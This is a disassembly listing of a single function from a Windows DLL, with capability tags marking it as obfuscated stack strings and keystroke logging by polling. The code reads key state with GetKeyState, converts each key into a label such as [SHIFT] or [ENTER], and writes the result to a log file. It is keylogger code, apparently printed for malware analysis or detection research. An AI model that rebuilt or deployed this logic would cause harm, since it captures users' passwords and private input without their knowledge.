Function at 0x180001ee0
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x180017070]
xor rax, rsp
mov qword [rbp + 0x50], rax
xor eax, eax
mov rbx, rcx
mov edi, edx
lea ecx, [rax + 0x14]
mov byte [rsp + 0x20], 0
xor sil, sil
mov qword [rsp + 0x21], rax
mov qword [rsp + 0x29], rax
mov qword [rsp + 0x31], rax
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edx, byte [rbx + 2]
mov ecx, 1
and al, 1
movzx r8d, sil
cmp al, cl
cmove r8d, ecx
test dl, dl
je 0x180001f52
xor r8b, cl
lea eax, [rdi - 3]
cmp eax, 0xdb
ja case.0x180001f7d.5
lea r9, [0x180000000]
cdqe
movzx eax, byte [r9 + rax + 0x268c]
mov ecx, dword [r9 + rax*4 + 0x25cc]
add rcx, r9
jmp rcx
lea r8d, [rdi - 0x30]
cmp byte [rbx + 1], sil
jne 0x180001fdc
test dl, dl
je 0x180001fdc
movsxd rax, r8d
mov dword [rsp + 0x40], 0x23402129
mov dword [rsp + 0x44], 0x265e2524
mov word [rsp + 0x48], 0x282a
movsx r8d, byte [rsp + rax + 0x40]
jmp 0x180001fc2
test r8b, r8b
jne 0x180001fbe
cmp byte [rbx + 1], sil
jne 0x180001fbe
add dil, 0x20
movsx r8d, dil
lea rdx, [0x1800149c4]
lea rcx, [rsp + 0x20]
call fcn.1800032b0
jmp case.0x180001f7d.5
lea r8d, [rdi - 0x60]
lea rdx, [0x1800149c8]
lea rcx, [rsp + 0x20]
call fcn.1800032b0
jmp case.0x180001f7d.5
lea r8d, [rdi - 0x6f]
lea rdx, str._F_d_
lea rcx, [rsp + 0x20]
call fcn.1800032b0
jmp case.0x180001f7d.5
mov eax, 0x2a
jmp 0x18000240c
mov eax, 0x2f
jmp 0x18000240c
mov eax, 0x2d
jmp 0x18000240c
mov eax, 0x2e
jmp 0x18000240c
mov rax, qword [str._CANCEL_]
mov qword [rsp + 0x20], rax
movzx eax, byte [0x1800149f0]
mov byte [rsp + 0x28], al
jmp case.0x180001f7d.5
mov rax, qword [str._MBUTTON_]
mov qword [rsp + 0x20], rax
movzx eax, word [0x180014a00]
mov word [rsp + 0x28], ax
jmp case.0x180001f7d.5
mov eax, dword [str._BACK_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a08]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014a0a]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
mov eax, dword [str._TAB_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a10]
mov word [rsp + 0x24], ax
jmp case.0x180001f7d.5
movabs rax, 0x5d5241454c435b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
movabs rax, 0x5d5245544e455b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
movabs rax, 0x5d45535541505b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
mov rax, qword [str._CAPITAL_]
mov qword [rsp + 0x20], rax
movzx eax, word [0x180014a20]
mov word [rsp + 0x28], ax
jmp case.0x180001f7d.5
mov rax, qword [str._ESCAPE_]
mov qword [rsp + 0x20], rax
movzx eax, byte [0x180014a30]
mov byte [rsp + 0x28], al
jmp case.0x180001f7d.5
movabs rax, 0x5d45434150535b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
mov eax, dword [str._PgUp_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a38]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014a3a]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
mov eax, dword [str._PgDn_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a40]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014a42]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
mov eax, dword [str._END_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a48]
mov word [rsp + 0x24], ax
jmp case.0x180001f7d.5
mov eax, dword [str._HOME_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a50]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014a52]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
mov eax, dword [str._LEFT_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a58]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014a5a]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
mov eax, dword [str._UP_]
mov dword [rsp + 0x20], eax
movzx eax, byte [0x180014a60]
mov byte [rsp + 0x24], al
jmp case.0x180001f7d.5
movabs rax, 0x5d54484749525b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
mov eax, dword [str._DOWN_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014a68]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014a6a]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
mov rax, qword [str._SELECT_]
mov qword [rsp + 0x20], rax
movzx eax, byte [0x180014a78]
mov byte [rsp + 0x28], al
jmp case.0x180001f7d.5
movabs rax, 0x5d544e4952505b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
mov rax, qword [str._INSERT_]
mov qword [rsp + 0x20], rax
movzx eax, byte [0x180014a88]
mov byte [rsp + 0x28], al
jmp case.0x180001f7d.5
mov rax, qword [str._DELETE_]
mov qword [rsp + 0x20], rax
movzx eax, byte [0x180014a98]
mov byte [rsp + 0x28], al
jmp case.0x180001f7d.5
mov eax, dword [str._HELP_]
mov dword [rsp + 0x20], eax
movzx eax, word [0x180014aa0]
mov word [rsp + 0x24], ax
movzx eax, byte [0x180014aa2]
mov byte [rsp + 0x26], al
jmp case.0x180001f7d.5
movabs rax, 0x5d5045454c535b
mov qword [rsp + 0x20], rax
jmp case.0x180001f7d.5
mov rax, qword [str._SNAPSHOT_]
mov qword [rsp + 0x20], rax
movzx eax, word [0x180014ab0]
mov word [rsp + 0x28], ax
movzx eax, byte [0x180014ab2]
mov byte [rsp + 0x2a], al
jmp case.0x180001f7d.5
mov rax, qword [str._NUMLOCK_]
mov qword [rsp + 0x20], rax
movzx eax, word [0x180014ac0]
mov word [rsp + 0x28], ax
jmp case.0x180001f7d.5
mov rax, qword [str._SCROLL_]
mov qword [rsp + 0x20], rax
movzx eax, byte [0x180014ad0]
mov byte [rsp + 0x28], al
jmp case.0x180001f7d.5
test dl, dl
je 0x18000234f
mov eax, 0x3a
jmp 0x18000240c
mov eax, 0x3b
jmp 0x18000240c
test dl, dl
je 0x180002367
mov eax, 0x2b
jmp 0x18000240c
mov eax, 0x3d
jmp 0x18000240c
test dl, dl
je 0x18000237f
mov eax, 0x3c
jmp 0x18000240c
mov eax, 0x2c
jmp 0x18000240c
test dl, dl
je case.0x180001f7d.109
mov eax, 0x5f
jmp 0x18000240c
test dl, dl
je case.0x180001f7d.110
mov eax, 0x3e
jmp 0x18000240c
test dl, dl
je case.0x180001f7d.108
mov eax, 0x3f
jmp 0x18000240c
test dl, dl
je 0x1800023c1
mov eax, 0x7e
jmp 0x18000240c
mov eax, 0x60
jmp 0x18000240c
test dl, dl
je 0x1800023d3
mov eax, 0x7b
jmp 0x18000240c
mov eax, 0x5b
jmp 0x18000240c
test dl, dl
je 0x1800023e5
mov eax, 0x7c
jmp 0x18000240c
mov eax, 0x5c
jmp 0x18000240c
test dl, dl
je 0x1800023f7
mov eax, 0x7d
jmp 0x18000240c
mov eax, 0x5d
jmp 0x18000240c
mov eax, 0x22
test dl, dl
jne 0x18000240c
mov eax, 0x27
mov word [rsp + 0x20], ax
mov rcx, rbx
call fcn.180002770
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rsi, rcx
je 0x1800025ab
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x50], al
call fcn.1800059d0
cmp byte [rbx + 1], 0
je 0x180002472
xor eax, eax
lea rdi, [rsp + 0x50]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [0x180014aec]
mov dword [rdi - 1], eax
movzx eax, word [0x180014af0]
mov word [rdi + 3], ax
cmp byte [rbx], 0
je 0x180002497
xor eax, eax
lea rdi, [rsp + 0x50]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str.ALT]
mov dword [rdi - 1], eax
movzx eax, byte [0x180014af8]
mov byte [rdi + 3], al
cmp byte [rbx + 2], 0
je 0x1800024db
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
dec rcx
je 0x1800024db
lea rdi, [rsp + 0x50]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str.SHIFT]
mov dword [rdi - 1], eax
movzx eax, word [0x180014b00]
mov word [rdi + 3], ax
movzx eax, byte [0x180014b02]
mov byte [rdi + 5], al
cmp byte [rbx + 3], 0
je 0x180002501
xor eax, eax
lea rdi, [rsp + 0x50]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str.WIN]
mov dword [rdi - 1], eax
movzx eax, byte [0x180014b08]
mov byte [rdi + 3], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
dec rcx
je 0x18000258d
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
xor ecx, ecx
cmp byte [rsp + 0x20], 0x5b
jne 0x18000255d
mov byte [rsp + rsi + 0x1e], al
lea rdx, [rsp + 0x21]
mov byte [rsp + 0x20], al
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180002540
lea r8, [rsp + 0x50]
lea rdx, str.__s_
jmp 0x180002599
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180002570
lea r8, [rsp + 0x50]
lea rdx, str.__s_
jmp 0x180002599
lea r8, [rsp + 0x20]
lea rdx, [0x1800148bc]
mov rcx, qword [rbx + 0x30]
call fcn.18000382c
mov rcx, qword [rbx + 0x30]
call fcn.180003644
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.180003290
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret